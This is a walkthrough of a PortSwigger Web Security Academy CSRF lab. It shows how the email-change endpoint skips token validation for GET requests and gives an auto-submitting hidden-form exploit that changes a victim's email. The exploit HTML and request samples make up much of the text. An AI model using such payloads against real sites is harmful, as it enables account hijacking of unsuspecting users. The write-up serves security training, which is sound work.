

Lab: CSRF where token validation depends on request method

Lab Information

- **Platform:** PortSwigger Web Security Academy
- **Category:** Cross-Site Request Forgery (CSRF)
- **Difficulty:** Practitioner
- **Status:** Solved 

Objective

The goal of this lab is to exploit a CSRF vulnerability in the email change functionality.

The application attempts to protect the endpoint using a CSRF token, but the validation depends on the HTTP request method.

The objective is to:

1. Identify that CSRF protection is applied only to certain HTTP methods.
2. Find a method that does not require a CSRF token.
3. Create a malicious HTML page on the Exploit Server.
4. Automatically submit a request that changes the victim's email address.

Reconnaissance

After logging into the application using the provided credentials:

Username: wiener
Password: peter

I navigated to the account page and tested the **Change Email** functionality.

A legitimate request was observed in Burp Suite.

The application uses a CSRF token when performing the operation through the protected request method.

The important point was to investigate whether the server applies the same CSRF validation when the HTTP method changes.

Vulnerability Analysis

Request

The normal email-change functionality uses a request similar to:

```
POST /my-account/change-email HTTP/1.1
Host: TARGET.web-security-academy.net
Cookie: session=...

email=test@example.com&csrf=CSRF_TOKEN
```

The presence of the CSRF token indicates that the application attempts to prevent CSRF attacks.

Testing the Request Method

I tested the same endpoint using the `GET` method.

The request could be represented as:

```
GET /my-account/change-email?email=test@example.com HTTP/1.1
Host: TARGET.web-security-academy.net
Cookie: session=...
```

The important observation was that the server accepted the GET request without requiring a valid CSRF token.

Therefore, the application had inconsistent CSRF protection:

```
POST /my-account/change-email
  ↓
CSRF validation
  ↓
Protected ✓

GET /my-account/change-email
  ↓
No CSRF validation
  ↓
Vulnerable ✗
```

💣 Exploitation

Since the GET request did not require a CSRF token, I created an HTML form that submits the request automatically.

The final exploit was:

```
<form action="https://TARGET.web-security-academy.net/my-account/change-email">
  <input type="hidden" name="email" value="hacke@web-security-academy.net">
</form>

<script>
  document.forms[0].submit();
</script>
```

Payload Breakdown

1. Form Action

```
<form action="https://TARGET.web-security-academy.net/my-account/change-email">
```

The `action` specifies the vulnerable endpoint.

No `method` attribute is specified.

By default, an HTML form uses:

```
GET
```

Therefore, the browser generates a request similar to:

```
GET /my-account/change-email?email=hacke@web-security-academy.net
```

2. Hidden Email Parameter

```
<input type="hidden"
  name="email"
  value="hacke@web-security-academy.net">
```

The hidden input supplies the email parameter without requiring the victim to interact with the page.

The resulting request contains:

```
email=hacke@web-security-academy.net
```

3. Automatic Submission

```
document.forms[0].submit();
```

This JavaScript automatically submits the first form on the page.

Therefore, the victim does not need to click anything.

The complete flow is:

```
Victim opens exploit page
↓
JavaScript executes
↓
Form is automatically submitted
↓
GET /my-account/change-email?email=...
↓
Server does not validate CSRF token
↓
Victim's email is changed
```

Tools Used

- Burp Suite
 - Burp Repeater
 - Browser DevTools
 - PortSwigger Exploit Server
-

✓ Solution

The lab was solved using the following steps:

1. Log in using:

```
wiener:peter
```

1. Navigate to the account page.
2. Intercept the email-change request using Burp Suite.
3. Identify the CSRF token in the legitimate request.
4. Send the request to Burp Repeater.
5. Test the endpoint using a different HTTP method.
6. Discover that the `GET` version does not require CSRF token validation.
7. Create a malicious HTML page on the Exploit Server.
8. Use a form without specifying `method`, causing the browser to use GET.
9. Automatically submit the form using JavaScript.
10. Deliver the exploit to the simulated victim.

Final exploit:

```
<form action="https://TARGET.web-security-academy.net/my-account/change-email">
  <input type="hidden" name="email" value="hacker@web-security-academy.net">
</form>

<script>
  document.forms[0].submit();
</script>
```

The victim's email address was successfully changed, solving the lab.

🧠 What I Learned

- CSRF protection must be consistently applied to every state-changing request.
- Changing the HTTP method can sometimes bypass incorrectly implemented CSRF defenses.
- HTML forms use `GET` by default when no `method` attribute is specified.
- A hidden form field can be used to supply parameters without user interaction.
- JavaScript can automatically submit a CSRF form.
- State-changing operations such as changing an email address should not be performed through GET requests.
- Burp Repeater is useful for testing whether changing the HTTP method affects server-side security controls.



References

- PortSwigger Web Security Academy — Cross-Site Request Forgery (CSRF)
- OWASP — Cross-Site Request Forgery Prevention Cheat Sheet